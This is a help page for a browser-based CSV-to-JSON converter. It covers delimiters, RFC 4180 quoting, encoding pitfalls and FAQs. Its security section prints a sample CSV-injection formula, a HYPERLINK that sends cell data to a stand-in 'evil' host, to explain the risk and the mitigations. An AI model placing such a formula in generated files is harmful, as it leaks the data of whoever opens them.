CSV ⇄ JSON Converter

Both directions with delimiter choice

{{ error }}

Why CSV and JSON?

CSV is the de facto format for tabular data from Excel/Google Sheets — compact, human-readable, but typeless. JSON is more structured, has types (string, number, boolean, null, array, object) and is native to web APIs. When swapping between them, the header row matters (becomes object keys). Watch the delimiter: German Excel uses semicolons because the comma is the decimal separator.

What is CSV and what is JSON?

CSV (Comma-Separated Values) is a plain-text format in which each line represents a record and the fields are separated by a delimiter — usually comma, semicolon, tab or pipe. It is documented in RFC 4180 and supported by virtually every spreadsheet application.

JSON (JavaScript Object Notation) is a lightweight, language-independent data format that supports hierarchically nested objects and arrays and knows types like string, number, boolean, null. JSON was popularized by Douglas Crockford and is the de facto standard for REST APIs, configuration files and NoSQL databases like MongoDB.

When do I need a conversion?

  • Database export: You export tables from MySQL, PostgreSQL or another relational database as CSV and want to import them as JSON into MongoDB, Firestore or Elasticsearch.
  • API integration: A REST API returns JSON but you need a CSV table for Excel or a BI tool like Power BI / Tableau.
  • JavaScript development: You have an Excel list of products and want to use it as a JSON array in a Vue, React or Node.js app.
  • ETL & migration: When switching systems, data often needs to be converted between formats — e.g. legacy CSV to modern JSON.

How the conversion works step by step

  1. 1. Choose format and direction: Pick CSV → JSON or JSON → CSV with the buttons at the top.
  2. 2. Set the delimiter: Comma, semicolon, tab or pipe. German Excel exports usually use the semicolon.
  3. 3. Check the header option: Tick "First row = header" if the first row contains column names. They will become the keys in the JSON objects.
  4. 4. Paste your data: Paste your data into the left input box. Conversion runs live; the result appears immediately on the right and can be copied.

Common problems with CSV files

  • Delimiter detection: CSV is not strictly standardized. Some tools use comma, others semicolon, others tab. When in doubt, try several options.
  • Quote escaping: If a field contains the delimiter or a line break, it must be wrapped in quotes. Quotes inside a field are escaped by doubling them "" (RFC 4180).
  • Encoding (UTF-8 vs. Latin-1): Special characters and umlauts can turn into mojibake (e.g. für) with the wrong charset. UTF-8 is the recommended modern standard.
  • Header row: If missing, CSV is interpreted as an array of arrays instead of an array of objects. Keep headers consistent and free of special characters if the keys will be used in code later.

Example: CSV → JSON

From the following CSV input:

name,age,role,city
Alice,30,admin,"Berlin, DE"
Bob,25,user,Munich
Charlie,35,editor,"Bremen"

...the tool produces this JSON output:

[
  { "name": "Alice",   "age": "30", "role": "admin",  "city": "Berlin, DE" },
  { "name": "Bob",     "age": "25", "role": "user",   "city": "Munich" },
  { "name": "Charlie", "age": "35", "role": "editor", "city": "Bremen" }
]

Frequently asked questions (FAQ)

Is my data sent to a server?

No. The conversion runs entirely in your browser via JavaScript. Your data never leaves your device. You can even use the page offline once it has loaded.

Which delimiters are supported?

Four common delimiters: comma (,), semicolon (;), tab and pipe (|). Pick one via the dropdown above the input box.

How does the tool handle quotes inside fields?

Following RFC 4180: fields containing the delimiter, a line break or a quote are wrapped in double quotes, and quotes inside the field are doubled "". The tool supports this convention both when parsing and writing.

Can I also convert JSON to CSV?

Yes. Just click JSON → CSV above the input box. The tool supports both directions with identical delimiter and quote logic. The JSON should be an array of objects or an array of arrays.

Is there a file size limit?

Since everything runs in the browser, the maximum size depends on the available memory of your device. For most use cases (up to about 10–20 MB) the tool stays responsive. For very large files, dedicated CLI tools like jq or csvkit are often a better fit.

CSV and JSON in Depth: Standards, Strengths, Limits

Comma-Separated Values has existed since the 1970s but was only loosely standardized in RFC 4180 in 2005. CSV is attractive because it is compact, streamable line by line, and readable by every tool from cat to Excel. A file consists of CR/LF-terminated rows and fields separated by a delimiter — usually comma in the US, semicolon in Europe (where comma is the decimal mark), tab in logs, or pipe in legacy mainframe exports. Quotes wrap fields that contain the delimiter, line breaks, or quotes themselves — the latter doubled up ("He said ""hi""").

JSON, by contrast, is clearly defined since 2017 in RFC 8259 (in parallel ECMA-404): UTF-8 is mandatory, types are string, number, boolean, null, object and array. JSON nests freely and is self-describing, but less compact than CSV. For tabular data you map a CSV row to an object whose keys are the header names; a typical API response or NDJSON stream is a list of such objects. Our tool handles both directions: CSV → array of objects, or JSON array → CSV with headers derived automatically.

When do you pick which? CSV wins for large, flat datasets that fit a table — exports, logs, bulk imports. JSON wins for nested structures, APIs and anything that needs typed values. If you need both, use CSV as transport and JSON as your working format — exactly what this tool is built for.

How to Convert Between CSV and JSON

Conversion runs entirely in the browser — no upload, no data transfer. Follow these steps:

  1. Pick the direction: CSV → JSON if you want to post-process an Excel export, or JSON → CSV if you want to export API results to a spreadsheet.
  2. Set the correct delimiter. German Excel files typically use ;, US files ,, log exports often tab (\t). For JSON → CSV the delimiter controls the separator of the output.
  3. Tick "Header Row" if the first line contains column names. Without a header row you get an array of arrays, with a header row an array of objects keyed by column name.
  4. Paste your CSV or JSON data on the left. The parser respects RFC 4180 quoting: fields with commas or line breaks wrapped in double quotes, embedded quotes doubled ("").
  5. The result appears on the right. Copy it into a curl payload, a fetch() body or a jq pipeline. Errors are shown below the fields.

Real-World Examples

These typical conversion cases show what the tool accepts:

  • Standard CSV with header: id,name,age plus data rows yields [{"id":"1","name":"Anna","age":"30"},...].
  • Fields with commas: "Berlin, DE" stays a single field thanks to RFC 4180 quoting. In JSON it becomes "city":"Berlin, DE".
  • Embedded quotes: "He said ""hi""" decodes to He said "hi". On the way back JSON → CSV the tool re-doubles quotes automatically.
  • German Excel file with semicolon: Name;Alter;Stadt + Müller;42;Köln. Switch the delimiter to ; and the tool returns [{"Name":"Müller","Alter":"42","Stadt":"Köln"}].
  • JSON → CSV with missing keys: [{"a":1,"b":2},{"a":3}] turns into a,b\n1,2\n3,. The tool collects the union of all keys as the header row.

Limits, Edge Cases and Security Notes

Three issues bite CSV users repeatedly. First, types: CSV only knows strings. After conversion "42" stays a string, not a number. If you need typed JSON values, post-process with parseInt, parseFloat or a schema validator such as Zod, Yup or JSON Schema — automatic type inference is dangerous because ZIP codes like 00123 become 123 and phone numbers lose leading zeros. Second, encoding: CSV defines no charset. Excel often writes Windows-1252 or UTF-16 with BOM on Windows, while UNIX tools expect UTF-8. If umlauts or emoji look mangled in the output (Müller becomes Müller), the source file was not UTF-8 — pre-convert with iconv -f WINDOWS-1252 -t UTF-8 or "Save as UTF-8" in Excel. Third, security-critical — CSV injection: fields starting with =, +, - or @ are evaluated as formulas by Excel and Google Sheets. An attacker can sneak in =HYPERLINK("http://evil/exfil?"&A1, "Click") and the spreadsheet exfiltrates data on open. If you generate CSV for unknown consumers, prefix such cells with an apostrophe ' or a space. JSON has no such problem because it has no formula evaluation model.

More Frequently Asked Questions

How do I handle numbers that arrive as strings?
CSV has no types — everything is text. After converting to JSON, "42" and "3.14" are still strings. If you need typed values, map the JSON result through Number() or schema validation (Zod, Yup, JSON Schema). Be careful with identifiers like ZIP codes or SKUs that carry leading zeros.
My German Excel saves with semicolons — how do I convert that?
Set the delimiter dropdown to ;. German Excel uses semicolons because comma is reserved as decimal separator. Also watch the encoding — Excel often saves Windows-1252 instead of UTF-8; in that case re-save as "CSV UTF-8" first.
What happens to values that contain a comma themselves?
Such fields must be wrapped in double quotes, e.g. "Berlin, DE". The parser follows RFC 4180: quotes only act at the start and end of a field, and a quote inside a quoted field is represented as "".
What is CSV injection and how do I protect against it?
Fields starting with =, +, - or @ are interpreted as formulas by Excel and Google Sheets and can exfiltrate data or fetch external URLs on open. When generating CSV for third parties, prefix such fields with an apostrophe ' or escape them server-side.
Can I export nested JSON to CSV?
Only to a limited degree. CSV is flat — nested objects and arrays must be serialized beforehand (e.g. as a JSON string in a cell) or flattened (e.g. address.street as its own column). Our tool maps top-level properties directly; nested values land as [object Object], which is rarely what you want.
Does my file leave the browser?
No. The entire conversion happens client-side in JavaScript. CalcSI sees neither content nor size of your data, there is no upload. You can load the page, disconnect from the network and keep working.

Related tools